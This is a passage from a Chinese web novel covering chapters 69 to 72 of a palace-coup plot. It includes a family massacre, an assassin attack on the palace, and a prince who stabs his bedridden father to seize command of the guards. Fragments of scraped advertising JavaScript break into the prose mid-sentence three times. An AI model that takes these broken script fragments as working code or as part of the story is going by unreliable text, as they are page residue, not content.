老皇帝中风一病不起,太子重伤昏迷不醒,二皇子直接撒手人寰,三皇子那个从小就在太子庇护下长大的废物点心更是能直接被忽略不计……偌大一个皇宫,怕是已经再也找不出任何一个稍微有点脑子,还能有权行使“王法”的人了。 哪还有比这更好的收网时机呢? 年轻人心情不错地哼了一声,推开房门,朝外走去。 乱臣贼子,乱臣贼子…… 他恍惚间想道。 天下大位本就该能者居之,乱臣贼子又如何? 69.易主 “哎哟,三皇子,殿下,眼下宫内无主,这可该如何是好啊!”拿着拂尘的老太监已经急出了一脑门子的汗,两手颤抖着往唐知易面前一摊,示意自己这算是没法子了,全凭殿下拿主意做主。 可怜唐知易一个向来只知道跟在自己大哥屁股后面打转的,什么时候担过这种“拿主意”的角色,也已是被这接二连三的消息冲昏了头脑,巴不得现在有谁能直接给他一闷棍,让他去病榻上躺着,替他哥昏迷不醒。 而相比他哥……太子殿下这种彻底不省人事的昏法,老皇帝便显然处于了一种更加微妙的境地中——中风这事儿,可大可小,虽说人已经直不起身子,算是废了,却好歹是还能从口中蹦出几个词……还能说话,便意味着他还是那个宫内的“发号施令者”,因此哪怕言语不清,整个人都哆嗦了,这皇宫内的下人们还是得对他惟命是从。 偏偏这老太监是个胆子大的,见人这分明是要不行了,干脆来找了这个平日里都懒得正眼相瞧的三皇子。 可惜一个扶不上墙的小毛孩,哪能真出出什么主意,哪怕是这么被指着鼻子问“该如何是好”,估计也只能支支吾吾地答一声“太傅没教过”。 细想眼下情形,也就不怪他心急如焚,口不择言地说出“宫内无主”这等会直接掉脑袋的话。 可看唐知易的神情,他倒是觉得这老太监的话似乎也没说错。 只是中风这病,说是单纯被气出来的,也有可能,毕竟老皇帝人已经老得差不多了,大半截身子已经入土的东西,横生出些病症也实属正常。 可他就是觉得奇怪…… “下令,下令……封锁消息,”唐知易撑着脑袋,指尖颤抖着,说出来的话一字三顿,声如蝇蚊,半点气势也无,“找……找纸笔给我,我要……找人!” 这等关头,还有什么人是非找不可的? 看在这三皇子好歹是说出了点有用话的份上,老太监将这问题窝囊地咽了回去,随手遣了个侍女去给他找来了东西。 老太监得了令,自己便风风火火地率先跑了,只留下那小侍女跟唐知易两人大眼瞪小眼,站在一旁直等到这位三皇子写完了……信,抖了抖纸张,才重新将她招去身边,把信封塞进了她手里。 “去……将这信送去柏府,”唐知易握紧了小侍女的手——这个动作很不合规矩,小侍女却已然被对方的语气唬住,手也不由得攥紧了信,“让他们找人……找人来救驾!” 然而,纸是包不住火的。 宫内的消息不胫而走,先于老皇帝的口谕流传入了民间。 一时间,人心惶惶,普通百姓们个个都生怕这土地一朝易主,自己这穷苦一生换来的家财几两瞬间便会灰飞烟灭,只好纷纷看着那些豪强世家们的眼色,恨不得将衣物银两全都打包好放在枕头底下,只等着哪天半夜里听着风声,可以跟上出走的第一波队伍。 可奇怪的是,皇城内的世家们,以董家为首,全都稳坐如山,半点没有要给自家屁股挪个窝的意思。 “眼下是个好机会,”一个男人站起身,朝着坐在主位上的老者鞠了一躬,说道,“那老东西这么些年来始终不愿放粮,非得将这权柄牢牢抓在自己手中……既然现在他已经不行了,三皇子又是个没用的阿斗,民心四散,正是流民百姓们嗅着味儿屯粮的时候……” “我们只消高价出手粮仓里的积粮,便能狠赚一笔,再用这笔钱去打通城东、城西两路,半个皇城的粮道都得易主!长此以往,这天下粮仓自然也得落入我董家名下,诸位,到时候,这皇城……皇宫之外,还不得是我们董家人说了算!” 一人之下,万人之上。 好狂妄的野心。 董若晴坐在稍远的位置上,不动声色地端起茶杯抿了一口。 要说这皇城内最具财力的豪门世家,实在是非董家莫属。在其他世家还在试图将人塞上官位,去皇帝面前混个眼熟时,董家早就已经选好了属于它的路——钱,足够的钱,才是这世间最有力的依仗。 这份观念被层层灌输,孕育出了一代又一代狂热且虔诚的金钱追求者。 而在这将众人聚之一堂的家族议事中,自然是什么豺狼虎豹都想跳出来冒个头,以彰显一番自己的“聪明才智”。 听着周围的窃窃私语,其间不乏对男人言论的赞同声,董若晴微微蹙起眉头,实在是不敢与其苟同。 “君子爱财,取之有道,大伯父将发国难财说得这么清新脱俗,到时候要是万一功败垂成了,可别想着拉上我们垫背才好。” 茶盏与瓷盘相碰,发出了清脆的撞击声,好歹算是将这帮没脑子的从一时的热血上头中给挽救了回来。 “说得也是啊……” “眼下太子还是个变数,到时候万一醒了,这……” “长辈说话,哪里有你一个小辈插嘴的份!”男人——大伯父的风头瞬间被抢,一时有些气愤,不由得转头怒斥道,“这天底下,想成大事者皆为富贵险中求,哪有什么平稳的勾当……” 勾当。 董若晴似乎是被这个字眼给逗笑了一瞬。 “怪我记忆不清,多嘴一问,董家的论资排辈,什么时候是按年岁来的了?”她也站起了身,目光没看向对方,而是缓缓扫向底下坐着的人群,瞧见这帮人个个都低下头当起了鹌鹑,面上又是一哂,“要我说,诸位若是为了这么点毫毛就将心里的道义丢了,这钱怕是赚得也不安稳吧?不错,脏钱来得是快,可若是未来再想抽身,就免不了要惹上一身腥了。” 说到最后几个字,她手中折扇一转,意有所指地点了点这位脸上青一阵白一阵的大伯父。 “你放肆!”大伯父被这么呛声,却也实在是说不出什么有力的反驳来。 董若晴说得对,董家也不过是个吃人的地方,谁能赚的钱多,谁就是大王;如今的董家,除了坐在主位上的老者,董若晴简直是独占鳌头。 被一个女人,一个不过二十余岁的女人压了一头,这事儿无论怎么想,都是横扎在他们心中的一根刺,拔不出咽不下,就这么顶在喉头,私下的茶余饭后自然是少不了几份唾骂,面上却只能忍气吞声地瞧着对方的眼色。 原因无他,董若晴除了有钱、有脑子赚得盆满钵满,以至于这道上的人都得给她薄面之外,最大的依仗,便是唐知文和柏清舟——一个太子殿下,一个柏大帅的长子,无论是哪个的名头抬出来,都足以压得他们喘不过气。 可如今太子殿下式微,柏府的人又被派去了偏远边关,谁能帮得了她? 谁还能帮得了她?! 想到这一层,大伯父的胸膛又不由得挺了几分,跟底下几人交换了个眼神,这才重新抬眼看向董若晴。 董若晴眉头一挑,握着折扇的手紧了紧,心道。 来了。 和对方一样,她也等这一天等了很久、很久了。 “董若晴,你是不是觉得自己很能耐,仗着父母双亡,当个没人教养的疯婆子,在这董家风光了这么久,我们平日里由着你跳脚也就罢了,如今 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 关乎家族大事,却是由不得你胡闹!”大伯父一番话,轻松将自己摆在了一个道德高位,明里暗里将整个董家和他自己紧紧捆绑在了一起,倒显得董若晴像是个无理取闹的小孩儿了。 “到时候赚来的钱,我们人人分一杯羹,谁敢来质诘?你若是不愿,也好,我们便分道扬镳,没了董家的支持,你又算是个什么东西?” 终于来了。 董若晴抬头望向那身居高位的老者,那人闭着眼睛,像是在浅眠,哪怕是这种要将董家一分为二的大事,都没能让他抬一抬眼皮。 就是这样一个人……自己曾经竟然还妄想这“家”里能有人来为她主持公道。 简直可笑。 底下的豺狼虎豹们这时倒是纷纷抬了点头,似乎是在侧耳倾听,生怕自己一不留神站错了队。 “好,分家便分家,只不过……该走的似乎不是我。” 董若晴直视着面前的男人,手中折扇一合,眼神瞬间变得凌厉了起来。 公道,从来都只会产生在权势者手上。 想要公道,就得靠自己去抢。 大伯父哈哈大笑起来,身后的庭院内瞬间跳出了几道身影,直冲董若晴而来! “好啊,不想走,那就把命留下吧!” 桌上众人似乎都没有想到,好好的一个家族议事,怎么三言两语间就变成了这刀光剑影的杀生场,一时间不免尖叫连连,作鸟兽散着朝两旁跑开了,足留出了一大片空地在中央,生怕被殃及池鱼。 董若晴面上却半分不怵,反倒是两手一拍,简单明了的下了个命令。 杀。 一时间,墙头树影里也紧跟着窜出数道身影,三两下便跟上了那些二流刺客,将人尽数抹杀在距离董若晴几步之遥的地方。 血花四溅,四下安静得落针可闻,所有人似乎都怔住了,半晌后,还是董若晴发出了一声轻笑:“愚钝者的自信,只配被称为自以为是的狂妄——大伯父,您以为呢?” 男人面露惊恐地看向董若晴,像是头一回认识面前这个人,又活像见了鬼。 “罢了,道理讲多了无趣,我说了您估计也听不明白,您只消知道……我改主意了,”董若晴抬起折扇,一连指了好几个人的方向,最终才落回到面前这个男人的身上,“我是该懂点教养,礼尚往来才是。” 话音刚落,四下又是一阵血肉横飞,一部分受不了这刺激的已经趴在了地上,低声呕吐起来——像是压着嗓子不敢哀嚎的困兽,生怕下一个遭殃的就是自己。 面前的男人甚至还没看清那些黑衣人是什么时候出的刀,只见一道红光从自己身体里喷溅而出,落在地上……他无力地矮下身,这才有些后知后觉地恍然:原来是从自己脖颈处流出的,血。 他抬起手,血却继续顺着缝隙流下,只徒留一股温热。 董若晴将目光从面前的男人身上移开,脚步轻巧地绕过了地上的血迹,朝着主位走去,同时低声吩咐道:“那个人,也拖下来杀了。” 于是,在众人的尖叫声中,老者的头颅先身躯一步,滚下了阶梯。 至此,闹剧结束,董若晴的目光再次缓缓扫过站在底下的众人,面上又是一哂。 “看起来,新任家主已经非我莫属了,”董若晴一撩衣摆,坐上主位后,重新抖开了手中的折扇,“多谢各位抬爱。” 与此同时。 被唐知易秘密送出宫的小侍女,正一路飞奔前往柏府,终于在力竭之时,奋力敲响了柏府的大门。 70.逼宫 “怎么这两天风平浪静的,”望尘坐在院里的树杈上,晃荡着腿,有些无聊地嘀咕道,“像前些日子那样杀得热热闹闹的,多有意思……这些地下杀手都这么懂得‘见好就收’吗?” 柏清舟很显然不赞同对方的用词:“望尘,没事还是去将书房里的书拿出来多读一读,对你有好处。“ 望尘撇撇嘴,不吭声了。 此时临近寒冬,柏夫人派人提前送来了刚做好的厚厚两件相配的裘氅,温言将柏清河那件妥帖地放入了衣柜中,这才披着自己这件走了出来。 “功夫精进不少,怎么心也跟着野了,“不知是不是冻的,温言面色有些发白,扬头冲望尘笑了一下,轻声道,”风平浪静可是好事。“ 望尘左看右看,见这院里身子骨最弱的柏大少爷都还没穿上裘氅,怎么温公子倒是早早就将这厚衣裳给披在了身上,不热么? 他正要开口问询,眼角余光却瞟到了院外跑过的一道身影,不出片刻,紧闭的院门处响起了急促的敲门声,于是这点小念头一闪而过,瞬间不见了踪影。 “我刚才好像看到了,看衣着,是个……宫里的侍女?“望尘几乎要怀疑是自己眼花了,却还是下意识地跳下了树杈,”我去开门。“ 望尘刚将门拉开到能容纳一人通过的缝隙,门外那侍女便急急朝着门内冲了进来,被望尘下意识地伸手一拦,直接一头栽进了对方怀里,慌得连话都快说不清了:“三皇子,三皇子急召,让我传来柏府……哎呀你让开,人命关天的急事,别拦我……” 侍女嗓门不大,说话的音调却挺高,前院这么闹哄哄一折腾的功夫,温言已经迈步走了出来,示意望尘放人,问道:“怎么回事?” “三皇子让我将这东西送来柏府,”侍女本就只是在宫里当差,不熟悉这柏府里的人,又见望尘这个侍卫这么听对方的话,自然而然便将温言当成了这柏府里的少爷,于是从怀里掏出了张纸条,“我……一路跑得急,绝对没打开看过这里面的内容。” 这后半句话的意思可谓分明:不管怎么说,还是先将自己摘出去比较好。 温言不置可否地点了点头,接过对方手中的纸条,打开后粗略扫了眼,又迅速将纸条重新合上,面色难得变得有些凝重了起来,转头见那侍女在原地站立不安,便挥了挥手,让望尘先将人放走,再来一同商量事儿。 望尘依言照做,侍女似乎也松了口气,这才礼数周到地在门口冲两人道了谢,转身朝着来时的方向原路跑去。 “这些宫里人平时不是最讲礼仪了吗,什么大事儿啊,能让他们都这么着急忙慌的?”望尘探头确认对方已经离开,这才重新关上了门,有些纳闷地问道。 “还真是大事。”温言也不瞒着,将手中的纸再次打开,递给望尘,“人家不是说了吗,人命——皇命关天,这可是天大的事。” 望尘仔细读了一遍,纸上内容本就不多,去掉开头和落款署名,也不过就寥寥八个字。 生死攸关,急入宫中! “哇呜……”望尘眨了眨眼,发出了声无意义的感叹,“可是这三皇子脑子是抽风了吗,柏大帅和少爷早就被那老皇帝派去边境了,他会不知道?我们柏府哪里还能派得出人去进宫……这算什么,救驾?” “不,他脑子没坏,不如说是难得聪明了一回,”温言摇了摇头,“宫里有内鬼,太子和皇帝的事儿恐怕没那么简单。” 于是这位连诸位大臣的脸都不太能分清,平生最大志向就是跟在他哥身后当个闲散王爷的三皇子,在无法信任他人,走投无路之下,绞尽脑汁能想到的最后一张底牌,就是柏府。 也许是在很久之前,唐知文这个做哥哥的便嘱咐过他什么,以至于他头一回见到柏清河的态度便有些“奇怪”……只是当时众人都心怀鬼胎,实在是没怎么留心这位小白花的一言一行。 直到后来在医馆的见面,唐知易这个三皇子,竟然几乎对柏清河言听计从,带着股全无保留的真心和信任,似乎是真将对方当成了自己的第二个“哥”,温言这才咂摸出了点不对劲儿来,曾经还随口问过柏清河,对方也十分摸不着头脑,只说听到这个三皇子开口叫自己“哥”的时候差点给他吓跪下,后来仔细琢磨了会儿,才补了个可能性……也许是因为太子与他哥私交甚笃? 虽然总觉得还差了点什么,但姑且也只能推到这一步了。 “柏大帅和柏清河忙去了,我不是还在吗,”温言裹了裹身上的裘氅,转头疾步往柏清河的院里走去,“去将这纸烧了——备马,我即刻入宫。” “是。”望尘连声应下。 温言回到院内,刚一伸手推开房门,便被屋内的猛禽给扑了个正着。 “小柏……” 温言的语气有些无奈,“别闹”两字还未说出口,却恍然想起这是小柏这么久一来第一次飞回府内。 他低头看去,果然在对方腿上发现了厚厚一卷纸条,连忙给拆了下来。 本还以为会是什么重要的前线战报,打开来仔细一瞧,才发现这里头什么大事也没写,全是些鸡零狗碎,其间不乏柏清河对自己的吹嘘,说什么又将乌汗打成了手下败将,恰达勒迟早要对他退避三舍云云,更多的,则是昨日吃了个烤羊腿,今日尝了尝小河虾之类的小杂事,末了又问了问温言的近况,同时还不忘文邹邹地添上一句——此地景致宜人,若是日后得了闲,愿与君重游于此,不负良辰美景。 ……也不知这话是从哪儿学来的。 于是温言这才想起来,柏清河这厮临走时好像确实是说过,他会经常写信回来的。 明明这么久了也才写来一封,等得他都快忘了这茬了……骗子。 温言心里这般想着,嘴角却止不住地勾起,将这纸条翻来覆去地看了又看,这才争分夺秒地思索再三,拿起桌上的毛笔,在最后另起一列,飞快地写下了一句。 一切都好,我也很想你。 随后温言便将这纸条重新细细卷好,绑了回去,又摸了摸小柏的脑袋,目送着对方展翅飞远了,才再次检查了两遍自己随身的佩刀,保险起见,他这回带了两把——另一把是从柏清河收藏的武器架上随手挑的。 在踏出门时,温言的心跳难得加快了几分,心中横生出了些不好的预感,迫使他下意识地回过头,又细细描摹了遍柏清河这院落的景致,像是想将其彻底收纳进五脏六腑似的。 倘若这次回不来了…… 温言喉头顿时一紧,有些狼狈地扯回了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 目光,快步走向院外,利落地翻身上了马。 “望尘,你留在柏府。”眼见着望尘也要跟上,温言果断出言制止,“眼下时局未明,柏府也有可能是枚‘眼中钉’,府中安危及大小琐事还得由你去陪着柏清舟定夺,你明白我意思吗?” 望尘手上动作一顿,眉头微微蹙起——他自然明白对方的意思,于情于理,这都是最好的安排,于是最终也只好顺从地点了点头,算是应下了。 温言面上笑了笑,又仔细思索了一番,确认无甚被漏掉的要紧事,这才抬手扬鞭,朝着皇宫策马而去。 站在外头的侍女一直警惕地望向远方,见着动静,立马回头扬声喊道:“殿下!有人擅闯宫门!” “殿下,对方人数众多,我们……”老太监这会儿真是有些汗如雨下了,一晃眼看到由刀剑折射而出的光影,几乎要被吓得背过气去,“我们寡不敌众……还是,还是逃吧!” “再不逃就来不及了!殿下啊——” 逃? 唐知易将双手背在身后,左手按右手,强压着指尖的颤抖,心下却不免觉得有些好笑,倘若这时候老天真给他个选择的机会,能换个人站在这俯瞰众生的阶梯之上,他一定第一个灰溜溜地跑下去,低眉顺眼地俯首称臣。 可他现在……背后除了那把象征着无上权力,人人趋之若鹜的龙椅,更重要的是,他的哥哥、他的父亲,全都生死未卜的躺在他背后——这个事实像一把重逾千斤的铁链,将他的双腿狠狠钉在了原地,挪不得分毫。 这些远比他的单薄性命更加重要的东西,全都压在了他背后。 他能逃到哪里去? “走吧,援兵不知何时能来,你们留在这里陪我也不过是等死,”唐知易没敢回头看众人的表情,轻声说道,“不如回去收拾收拾细软,赶紧跑吧。” 几个胆子小的侍女没敢动,几乎下一秒就要捂着嘴哭出声来。 对面的攻势却显然不因他们这边的动人戏码而减缓半分步伐,守着最外层院墙的侍卫几乎是瞬息间便魂魄祭天,齐刷刷地倒了一排。 “用人惟亲的下场,就是死到临头都没法给自己挑些好点的‘陪葬品’。”为首那人状似心痛地感叹着,深深叹了口气,“让这些吃干饭的废物点心坐在宫中侍卫的位置上,真不知道你那老父亲是怎么睡得好觉的——你说呢,三皇子殿下?” 唐知易在看清对方面容的瞬间,眉头紧皱,不可置信地扬声道:“是你?!” 他见过对方! 那人一歪头,富有闲心地冲他笑了一下:“很难猜吗?” “你为什么……” 唐知易话未说完,就被那人竖起一根手指打断了。 “嘘——有什么想说的,等下我们有空再慢慢聊,”那人笑笑,从马背上一跃而起,三两下便来到了唐知易身前,“不过可以给你个小预告……我这辈子最恨的,就是你这块废物点心。” 刀光正要随着话音一同落下,唐知易已然被吓得跌坐在了地上,闭紧双眼,却听得面前猛然爆发出一声兵器相撞的清脆声响,刺耳异常。 紧接着,一道他更为熟悉的声音从不远处传来。 “傻愣着干什么,还不快爬起来!” 71.知易 一听到这声怒喝,唐知易就跟个终于被扯动了线的木偶似的,连滚带爬地摸到了另一边,好歹是躲过了这把悬在他头顶的阎王刀。 他惊魂未定地回头看了一眼,那个未能把他一击毙命的男人表情阴沉,哪里还有曾经和他哥坐在包厢内言笑晏晏的半分样子。 对方却一点都不在乎他的想法,也转过了头,望向身后。 “阿言,我记得你不擅跑马,这次竟然这么快就赶过来了,真是辛苦。” 时隔多日,再次听到“阿言”这个称呼,温言心里却涌起了股从未有过的不爽,他拽住缰绳,紧急勒马,最终却只是眉头蹙起,什么也没说。 只是这么点微妙的情绪波动,显然也逃不过年轻人的眼睛,只见他眉眼微弯,竟是变脸如翻书,在这么短的时间内又给“翻”出了第三副面孔。 “这段时日在柏府过得好吗?”年轻人见温言翻身下马朝自己走来,索性也彻底转过身面对着对方,上下仔细打量了一番,“啧,瞧瞧,怎么都瘦了,嘴唇都白了——这种弥留之际,不去跟你那个小少爷奔走天涯,倒是来这里坏你旧主人的好事,这可不是忠义之道吧?” 温言的目光不动声色地扫过四周缓缓朝他靠近的持刀“侍卫们”,手始终虚搭在腰侧,淡声道:“不劳费心。” 说这帮人是“侍卫”,倒也不算恰当,其中有几张面容温言甚至有些脸熟——想来应当是与他“同窗”过的……那便是照着刺客的模子养出来的,这些人早已习惯了黑夜动手,突然被这么一道尽数端出,放置于这张光天化日下的“餐桌”,只怕敌我双方都还有些微妙的不适应。 唐知易一见自己有了救星,那点好不容易升腾起来的勇气瞬间又沿着脚底缩回了地里。 他就这么蹲在一根柱子后面,恨不得自己能突然变成“六耳猕猴”去耳听八方,什么动静都不敢错过,生怕自己不知何时又要被人捅一刀,因此,就连那常年冻僵着的脑细胞都难得变得活跃了起来。 年轻人说话稍微有些语焉不详,像是打了个浅显的哑谜,只是结合着上下句一猜,倒也能猜出个七七八八来。 他派信去柏府,本也只是因为他哥原来跟他说过,柏府与自己是一条心,倘若未来真遇到什么走投无路、生死攸关的难处,可以直接派人去柏府,不要脸地求对方出来搭把援手。 可是,倘若温言本就重病缠身,还在这时候单枪匹马地杀来相助,跟只身来赴鸿门宴有什么区别?! 先不说这恩情他还不还得起,光是想想那个最坏的可能性,唐知易都觉得自己还不如现在就就地被人宰了,再怎么也比后半辈子随时可能会被柏清河……他那很可能会吃人的义兄给抽筋扒皮了好。 就这么会儿胡思乱想的功夫,两边人马已经混战了起来,宫里的这些侍卫很显然不敌年轻人带来的那些身经百战的刺客杀手,若不是有温言穿梭在其中,这些人怕是已经要形成一边倒的萝卜坑了。 温言原地跃起,躲过对方刺来的弯刀,脚尖轻点刀尖,借力向着另一边扭身,同时左手下劈,一刀扎入对方的右肩处,狠命下压,将人活生生给按得跪倒在地,才又是一脚狠踹,顺手拔出短刀,刀光在空中因为惯性转了两圈,重新落回他手中,直奔下一人的咽喉而去。 他全程一言不发,像一个被精准打磨过无数次的杀人利器,招招毙命,干净利落,无一留手。 因此,宫内侍卫士气大振,竟然隐隐有着反扑之势。 只是…… “阿言,别这么不解风情,”年轻人不悦地皱起眉头,声音却还是端着那股轻佻腔调,他手中长刀一伸,与温言手中短刀刀尖相撞,力道之大,震得两人皆是后退一步,虎口隐隐发麻,“游戏,还是得跟自己水平相当的人玩才有意思。” 这种生死关头,每个人的刀下随时都可能出现一条不可复刻的人命的时候,他竟然称之为“游戏”? “别叫我阿言。”温言能感觉到自己的心脏跳动频率不正常,强忍着问道,“……从什么时候开始的?” 这话问得没头没尾,年轻人盯着温言的双眼,却是听懂了。 “很早……真是很早了,比我认识你们还要早……”年轻人笑着摇了摇头,嘴上说着话,手上动作却也半分没有要放过温言的意思,长刀斜劈而出,似乎是半分情面也不顾,只想要置对方于死地,“你应该早就猜到了,你那时会被绑来,其实就是因为我……我那时筋骨受损,无论是练什么,大概这辈子都到不了那个该死的老东西想要的水准了……” “于是他想要放弃我,去选择家族里别的孩子……这事哪有那么容易,我又不是什么阿猫阿狗,他想不要就能不要?我必须要让自己牢牢地坐在这个位置上,因此,我给他提了个主意——影卫。那帮愚蠢的东西,脑子加一起都够不上我一个人,我只需要一个忠心耿耿的影卫,就可以做成一切。” “于是,你出现了。” 温言弯腰躲过,在仰头的瞬间,他强忍着咽下了一口喉头血,飞快地调整姿势,想要近身反击,可他无论用什么方法,都被对方那柄长刀拦在了一步之遥。 “阿言,其实我真挺喜欢你的,话少,心思也浅,又是在我眼皮子底下一起被培养大的——世间很难再找出这样的羁绊了,因此我待你虽不说满腔真心,但多少还是有几分真心实意的,落到今日这般地步,怪也只能怪你自己,是你先背叛了我。” “阿猫阿狗背叛主人可是要付出生命代价的,你呢,除了生命,你还能送给我什么?”年轻人的目光像毒蛇般阴冷地滑过温言的脸颊,“……不如就学恰达勒吧,送我盏人头灯,怎么样?” “……” 温言没搭这个腔,再次与对方短兵相接,却是手腕一翻,施了个四两拨千斤的巧劲,同时眼角余光一瞥,见着有两三个人鬼鬼祟祟地朝着唐知易那边摸去——那傻孩子还在往自己这边一个劲儿地瞧呢! 温言几乎要被气血攻心,抹了把手腕上被刺出的血迹,转身就想往那边跑去。 “你想去哪儿,来不及的,”年轻人勾唇笑了一下,“擒贼先擒王,三皇子殿下要是在这地方殒命,我们也就不用分个你死我活了,好事一桩。” “你休想。” 温言举刀挡住了对方再次刺来的刀尖,刺耳的摩擦音却盖不住他的扬声怒喝:“唐知易,拿着刀,跑!” 刀是他第一下掷出去拦住年轻人挥向唐知易的长刀时落在地上的,随后就被唐知易捡了起来,牢牢捏在手中——这傻孩子总算是还有点脑子。 往哪儿跑? 唐知易有些茫 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 然,可眼看有人奔着他的命来,身体不由自主地爆发出了极快的反应速度,几乎是下一瞬就拔腿跑了起来。 温言从地上摸了一把石子,想要远距离拦住这些追着唐知易的人,他不得不将后背暴露,硬生生挨了一刀,鲜血横流,可他掷出石子的手却一下未抖,全部精准地打中了那些人的膝盖窝,将人逼得接二连三跪在了地上,一次又一次,直到唐知易彻底消失在他们的视野中。 “这种时候还要照顾累赘可是很要命的,”年轻人一把拽住温言的头发,将人拉到自己近前,方才还势均力敌的形势瞬间不复存在,变得高下立现,“你说是吧?” 还有谁能帮我? 还有谁能救我? 唐知易心里已然有了答案,他一路狂奔,中途差点几度喘不上气,最终停在了老皇帝的寝宫外。 他走进去,那个先前不停撺掇他逃命的老太监竟是赫然守在老皇帝的床前,背对门外,跪得腰板挺直,不知在想些什么。 他还以为对方早就跑得没影了。 “你来这里做什么?”老太监声音尖细,却不再如往日那般高亢,只是转头淡淡看了唐知易一眼,“我早说了,要你逃。” “我逃不掉。”唐知易手里捏着刀,看着安睡在榻上的男人,他的父皇,手几乎是瞬间便颤抖了起来,他回头问老太监,“你信命吗?无论我有多不情愿,我都逃不掉,这就是我的宿命。” 老太监闭上了眼睛,轻声答道:“很俗套的借口。” “你也不信,这世上谁都有可能想要皇位,唯独我不想,我知道我担不起这个命……可我也没有办法了,我想不出别的办法了……” 唐知易走到床榻边,抬手将短刀举过头顶,低头看去,差点呜咽出声。 可这世道连一秒犹豫的时间都不再施舍给他。 手起刀落,唐知易活这么大,向来都被保护在温床里,何时亲手杀过人,别说人了,怕是连牛羊畜生都没碰过……因此,也许是刀尖偏了一寸,床榻上的男人突然从梦中惊醒,剧烈挣扎了起来,唐知易的眼泪瞬间决堤,看着男人口吐鲜血,却是又将刀尖往里推了推。 “对不起,对不起父皇,我得救我哥,还有温公子,还有很多人……我没有办法了,父皇,对不起,对不起……别这么看着我,我好害怕……” 老皇帝死不瞑目地瞪着双眼,看着自己的小儿子,逐渐咽下了最后一口气。 “只有我能救他们了……对不起,爹……” 唐知易用沾血的衣角擦过满脸的眼泪,硬生生将自己擦成了个大花猫。他再次转头,看向跪在后面当着始终沉默着的老太监,问道:“皇龙卫的令牌在哪?” “回皇上,”老太监从善如流地改了称呼,“皇龙卫向来只听陛下的调遣,无需令牌,如今只等您一声令下,便是赴汤蹈火,在所不辞。” 唐知易似乎是被这声“陛下”给喊愣了神,直到这时,才惊觉自己早已出了一身冷汗。 “那我……朕,要皇龙卫即刻前去南门救人!” “是,陛下。” 房梁上瞬间传来一声简单的应答,随即,十几道身影同时从院墙跃出,直奔南门而去。 只留唐知易本人向前一步,站在凛冽寒风中,被吹了个刺骨寒凉。 72.书简 “真是的,这群神经病,不选早不选晚,非得挑在我买烟的日子来闹事,”锦桢手腕一翻,倒了倒已经空了的烟枪,状似不悦地抱怨着,“等处理完这点破事,那卖烟的老头早拎着扁担跑了,又得等下月……啧。” “时局动荡,那老头估计早就闭门不出了,”锦哲站在一旁,背上背着个空空如也的刀鞘,手中细细擦着一把重刀,头也不抬,“也好,就当是帮你戒烟瘾了。” “你想得还挺美,就这么信任我,觉得我们今日一定能活下来?” 锦桢斜睨了他一眼,“今日若是站错队了,咱们要面临的,可就不止是满盘皆输那么简单了。” “嗯。”锦哲很爽快地表了态,“我一直都信你。” “……我就喜欢你这点,”锦桢笑着拍了下对方的肩膀,“那你先挑吧,东门西门?” “我去……东门吧,那里应该会有个老熟人。”锦哲背过手,将重刀收回刀鞘中,“这次若不去跟他分出个胜负,只怕是再也没有机会了。” “好,那西门归我,”锦桢从屋顶上站起身,远远眺望着难以自保的皇宫院墙,“事成,在南门碰头……我会一直等你。” 锦哲低低应了声:“放心,不会让你等太久的。” “查到了!” 巡检司内,李符乐正双手抱着一摞书简,见韩旬踏步走进,瞬间抬起了头,扬声喊道:“头儿,总算是查到温言和那个温公子——话说这人名字到底叫什么啊,这么喊着感觉好绕口——总之,终于是查到了点他们的底细了!” 这确实算是个来之不易的好消息。 从先前太子——唐知文将人担保出巡检司后,韩旬便一直在派人秘密探查温言的底细,连李符乐都几乎被压榨着失去了自由出入的时间,每日就跟着他们翻着成摞的书简,想要从里面捡漏出任何一点有用的蛛丝马迹,连剑鞘都恨不得要成了个放在书房角落里落灰的摆设——只可惜,收效甚微。 李符乐这小暴脾气,好险没忍住要去牢房里随机砍几个牢犯来泄火,最后还是三四个人拉着好生劝告,才总算是在人动手前给拦住了。 而后,唐知文似乎是嫌他们还不够忙乱似的,又往上添了把火,让他们去查另一个姓“温”的人——不知道名字,不知道年龄,这个人就跟凭空冒出来的一样,将这整个皇城搅了个天翻地覆。 他本人甚至还不像话本里的恶人那样,甘于当个居于幕后的“背景板”,而是亲自站上了台前,扮演着一个举足轻重的重要角色。 简直堪称是胆大包天的典范。 “先等等,这件事等下再说,”韩旬脚下生风,抬手制止了李符乐即将开口的连珠炮,“先带上你的长剑,去北宫门支援。” 李符乐正在分门别类地收拾手中的书简,被这消息砸了个愣神,好半晌才反应过来,张大了嘴:“什么意思啊头儿……宫变了?” “不知道,一切未知数,”韩旬脸色很不好看,似乎也是刚拿到的消息,对这突然发生的变数毫无准备,“先别问了,柏府已经派人去了……你不是一直很想再跟温言正式交手一次吗,眼下说不定就是个再好不过的机会……” 对于李符乐这种武痴,皇位归谁,天下归谁,完全不足以分得他的注意力,因此,韩旬只好搬出他真正感兴趣的人,才总算是看见对方的眼神亮了起来。 “好说啊头儿,我现在就去,”李符乐将手中书简往空中一抛,抓起角落里立着的长剑就往门外冲去,临出门前才转头问道,“……我们是要保护太子登基的,对吧?” “是,”韩旬挥了挥手,书简在他身后散落一地,盖住了他脱口而出的叮嘱,“注意安全。” 李符乐一步三跃,头也不回地翻出了巡检司的院墙。 同一时间,一个鬼鬼祟祟的人影从巡检司书房的另一扇窗边探头而出,露出了两只滴溜溜转动着的眼睛,盯着韩旬朝着另一边远去的身影。 人影蹲在墙角下,许是冻得久了,先是哈了口气,将双手放在唇边搓了搓,随后才从怀中缩着指尖掏出了个火折子。 “什么人?!”巡逻着的周泉眼尖,瞬间便看到了这个缩在角落里的人影,三步并作两步地跑了过来;他心肠善良,看清对方是个小孩后,瞬间便放软了声调,“小孩儿?你迷路了吗?需要我带你出去吗?” ……哪有小孩迷路能迷到轻易翻过这么高的院墙,跑进巡检司内部的? 阿澈眨巴着眼睛,心念电转,几乎要以为面前这人是个脑子不太灵光的智力低下者。 “嘘——小哥哥你能不能先别喊其他人来,我只是有个东西落这房间里了,等找到了就走,保证不会打扰到你们的,”阿澈可怜兮兮地撇着嘴,伸手拽了拽周泉的衣角,“你们都带着刀……好吓人,我有点害怕……” 